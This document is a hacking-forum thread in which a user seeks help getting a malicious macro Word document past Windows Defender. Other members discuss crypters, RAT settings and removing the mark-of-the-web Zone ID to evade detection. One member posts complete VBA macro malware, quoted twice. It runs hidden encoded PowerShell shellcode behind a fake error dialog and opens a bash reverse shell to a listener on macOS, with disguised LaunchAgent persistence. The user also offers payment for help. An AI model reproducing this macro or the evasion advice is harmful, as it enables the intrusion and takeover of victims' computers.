[SixKing]

Ok this .Doc i have gets no detection's on scans, but when its actually tested it cant get through windows 10 defender. Can anyone help me out here? ASAP

[CyberStrike]

What exploit was used? (CVE#) Or is it a macro? Next the machine are you using to test on the internet? If it is a macro have you personally gone in and looked it over maybe edited it to change up some of the variables? Are you trying to run an executable from tmp?

[SixKing]

What exploit was used? (CVE#) Or is it a macro? Next the machine are you using to test on the internet? If it is a macro have you personally gone in and looked it over maybe edited it to change up some of the variables? Are you trying to run an executable from tmp?

Thank you for your time and im using macrosploit

[NERO]

Need ALOT more information than that mate, Just afew scenario's where win defender or smart screen will be activated would be zoning id's, See if your c&c has option to remove them or crypter, Second, How are you signing the payload? What icon are you using? whats your rats settings? whats your crypter settings?

[SixKing]

Need ALOT more information than that mate, Just afew scenario's where win defender or smart screen will be activated would be zoning id's, See if your c&c has option to remove them or crypter, Second, How are you signing the payload? What icon are you using? whats your rats settings? whats your crypter settings?

im using macrosploit brotha

[CyberStrike]

Thank you for your time and im using macrosploit

So have you yourself looked at the code (it's VBA btw) it may look similar to

Code

[code][code]
Sub Auto_Open()
Dim x
x = "powershell -nop -win hidden -noni -enc <Shellcode here>"
Shell ("POWERSHELL.EXE " & x)

Dim title As String
title = "Document error"
Dim msg As String
Dim intResponse As Integer
msg = "An error has occurd while decrypting the file. Word is unable to continue."
intResponse = MsgBox(msg, 16, title)
Application.Quit
End Sub
Sub AutoOpen()
       #If Win64 Then
       Auto_Open
       #Else
       #If Win32 Then
       Auto_Open
       #Else

       MacScript "do shell script ""mkdir -p $HOME/.hidden1"""

       MacScript "do shell script ""cat <<EOF > $HOME/.hidden1/connect.sh\n#!/bin/bash\nbash -i >& /dev/tcp/<Listener IP>/4444 0>&1\nwait"""
   
       'MacScript "do shell script ""cat <<EOF > $HOME/.hidden/persist.sh\n#!/bin/bash\nmkdir -p /Library/LaunchDaemons\ncp $HOME/Library/LaunchAgents/com.apple.video2.plist /Library/LaunchDaemons/com.apple.video2.plist\nlaunchctl load /Library/LaunchDaemons/com.apple.video2.plist"""

       'MacScript "do shell script ""chmod +x $HOME/.hidden/connect.sh"""
   
       'MacScript "do shell script ""mkdir -p $HOME/Library/LaunchAgents"""

       'MacScript "do shell script ""cat <<EOF > $HOME/Library/LaunchAgents/com.apple.video2.plist\n<plist version=“1.0”>\n    <dict>\n    <key>Label</key>\n        <string>com.apple.video2</string>\n    <key>ProgramArguments</key>\n    <array>\n        <string>/bin/sh</string>\n        <string>$HOME/.hidden/connect.sh</string>\n    </array>\n    <key>RunAtLoad</key>\n        <true/>\n    <key>StartInterval</key>\n        <integer>120</integer>\n    <key>AbandonProcessGroup</key>\n        <true/>\n    </dict>\n</plist>"""
   
       'MacScript "do shell script ""launchctl load $HOME/Library/LaunchAgents/com.apple.video2.plist"""
   
       'MacScript "do shell script ""sh $HOME/.hidden/persist.sh > /dev/null 2>&1 &"" with administrator privileges"

       MacScript "do shell script ""sh $HOME/.hidden1/connect.sh > /dev/null 2>&1 &"""
       
       MacScript "do shell script ""sh $HOME/.hidden1/connect.sh > /dev/null 2>&1 &"" with administrator privileges"

       
       #End If
       #End If
End Sub
Sub Workbook_Open()
       Auto_Open
End Sub


[/code][/code]

If you have not gone through and inspected the code do so, knowing some VBA will help. Also please respond to the other questions they are actually important, including the other questions posed by other users.

Next the machine are you using to test on the internet? If it is a macro have you personally gone in and looked it over maybe edited it to change up some of the variables? Are you trying to run an executable from tmp?

[SixKing]

So have you yourself looked at the code (it's VBA btw) it may look similar to

Code

[code][code]
Sub Auto_Open()
Dim x
x = "powershell -nop -win hidden -noni -enc <Shellcode here>"
Shell ("POWERSHELL.EXE " & x)

Dim title As String
title = "Document error"
Dim msg As String
Dim intResponse As Integer
msg = "An error has occurd while decrypting the file. Word is unable to continue."
intResponse = MsgBox(msg, 16, title)
Application.Quit
End Sub
Sub AutoOpen()
       #If Win64 Then
       Auto_Open
       #Else
       #If Win32 Then
       Auto_Open
       #Else

       MacScript "do shell script ""mkdir -p $HOME/.hidden1"""

       MacScript "do shell script ""cat <<EOF > $HOME/.hidden1/connect.sh\n#!/bin/bash\nbash -i >& /dev/tcp/<Listener IP>/4444 0>&1\nwait"""
   
       'MacScript "do shell script ""cat <<EOF > $HOME/.hidden/persist.sh\n#!/bin/bash\nmkdir -p /Library/LaunchDaemons\ncp $HOME/Library/LaunchAgents/com.apple.video2.plist /Library/LaunchDaemons/com.apple.video2.plist\nlaunchctl load /Library/LaunchDaemons/com.apple.video2.plist"""

       'MacScript "do shell script ""chmod +x $HOME/.hidden/connect.sh"""
   
       'MacScript "do shell script ""mkdir -p $HOME/Library/LaunchAgents"""

       'MacScript "do shell script ""cat <<EOF > $HOME/Library/LaunchAgents/com.apple.video2.plist\n<plist version=“1.0”>\n    <dict>\n    <key>Label</key>\n        <string>com.apple.video2</string>\n    <key>ProgramArguments</key>\n    <array>\n        <string>/bin/sh</string>\n        <string>$HOME/.hidden/connect.sh</string>\n    </array>\n    <key>RunAtLoad</key>\n        <true/>\n    <key>StartInterval</key>\n        <integer>120</integer>\n    <key>AbandonProcessGroup</key>\n        <true/>\n    </dict>\n</plist>"""
   
       'MacScript "do shell script ""launchctl load $HOME/Library/LaunchAgents/com.apple.video2.plist"""
   
       'MacScript "do shell script ""sh $HOME/.hidden/persist.sh > /dev/null 2>&1 &"" with administrator privileges"

       MacScript "do shell script ""sh $HOME/.hidden1/connect.sh > /dev/null 2>&1 &"""
       
       MacScript "do shell script ""sh $HOME/.hidden1/connect.sh > /dev/null 2>&1 &"" with administrator privileges"

       
       #End If
       #End If
End Sub
Sub Workbook_Open()
       Auto_Open
End Sub


[/code][/code]

If you have not gone through and inspected the code do so, knowing some VBA will help. Also please respond to the other questions they are actually important, including the other questions posed by other users.

the doc is fud or close to fud at 1-3/32 detections when scanned it does not come up on windows defender but if i sent it through an email or something when u download it it detects it

[NERO]

the doc is fud or close to fud at 1-3/32 detections when scanned it does not come up on windows defender but if i sent it through an email or something when u download it it detects it

Like i said, Zoning id, Level 4 (Untrusted as from internet) Remove zoning id, You wont have that issue.

[SixKing]

Like i said, Zoning id, Level 4 (Untrusted as from internet) Remove zoning id, You wont have that issue.

how do i remove the zoning id sir?

[Armada]

Like i said, Zoning id, Level 4 (Untrusted as from internet) Remove zoning id, You wont have that issue.

Could be Zone ID, but I doubt it, if Windows Defenders nuking it, its likely because Macros are enabled on the file.

[CyberStrike]

Could be Zone ID, but I doubt it, if Windows Defenders nuking it, its likely because Macros are enabled on the file.

+1 Macro's are common place in work places, Something to denote is that the zoneid seems to be mainly with browsers

https://msdn.microsoft.com/en-us/library/dn392609.aspx

https://blogs.technet.microsoft.com/askc...s-in-ntfs/

http://woshub.com/how-windows-determines...-internet/

I have a crazy thought that a browser is not being used to download the file .. op why not disable the AV and run the macro, check that file for a zoneid as well as if the detection is scan or run time.

Spoiler (Click to View)



No zoneid downloaded via powershell, with invoke-webrequest and using dir /R to view alternate datastreams. Simplest thing is the file, and honestly it's probably already burned if on the internet as defender uploads to msft. The detection is soon as the file hits the machine it's detected. If you are running it soon as it's downloaded (more than likely that's what ppl do) then it's a run time detection.


Edit: Resized the picture, also this example was done on Windows 7 although OP is using Win 10, as mentioned above downloads with browser then yes zoneid is added on ADS for the file.

[05317832892]

Is it detected on drop or on execution of the macro?

You are using macrosploit but what is your final payload?

[SixKing]

Is it detected on drop or on execution of the macro?

You are using macrosploit but what is your final payload?

It’s on the drop of the doc. It may also be the execution but we can’t test the execution because the drop is getting picked up

[NERO]

Quite right lord armarda :) I brushed passed the macro issue!

[Armada]

+1 Macro's are common place in work places, Something to denote is that the zoneid seems to be mainly with browsers

Only thing I will bother to bring up regarding this is simple.
Macros are powerful and useful beyond all belief, and yes Corporate environments use them regularly.
This does not mean Microsoft does not recognize the risks associated with them. and in correctly configured environments the terminals are told what type of macros to trust and which to flag.

can you add my discord sakana#6811 for elaboration I really need this done by tonight latest. we can pay you for your time

Solution is simple, dont use Macro based doc delivery.